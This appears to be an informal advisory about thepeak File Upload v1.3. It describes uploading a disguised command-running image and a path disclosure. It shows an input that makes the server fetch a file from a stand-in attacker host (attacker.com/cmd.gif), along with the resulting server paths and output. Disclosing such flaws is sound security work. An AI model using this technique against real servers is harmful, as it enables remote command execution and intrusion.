Justin_T #NT - Undernet justint@xxxxxxxxxxxxxxxxx hi, there is a posiblity path disclosure and run commands on a server usint thepeak File Upload v1.3 searching for /fileupload/index.php an attacker can upload a malicious jpg of gif and can execute commands or make a file inclusion, but it cant be directly to upload a php file with .jpg extension, because detect the content type as text/plain, look this: name : cmd.jpg type : text/plain <--- when you upload the file the content type is seem like this tmp_name : /tmp/phpF0AItw <-- this is a copy of the file in the server with a ramdom temp error : 0 size : 26564 http://server.com/fileupload/store/cmd.jpg <--- this is where is stored the original file there is a 2 ways to get in cracking the content-type when uploading the file or constructing an malicious jpg image with some commands: 1: chmod the dir for file inclusion 2: run certain commands on server, etc Path Disclosure when you try to put in input of upload file something like http://www.attacker.com/command.jpg its seem the path of the web files like this: File Upload Manager v1.3 © thepeak name : http://www.attacker.com/cmd.gif type : application/octet-stream tmp_name : /tmp/phptd8aE0 error : 0 size : 0 Warning: copy(store/http://www.attacker.com/cmd.gif): failed to open stream: No such file or directory in /home/user/public_html//fileupload/index.php on line 471 ERROR: cannot upload, please chmod the dir to 777 some servers accept the file inclusion and you get this name : http://www.attacker.com/cmd.gif type : application/octet-stream tmp_name : /tmp/phptd8aE0 error : 0 size : 1035 file uploaded! sorry for my english, is no good :), if you want to organizate this info i apreciated that, thanx :)
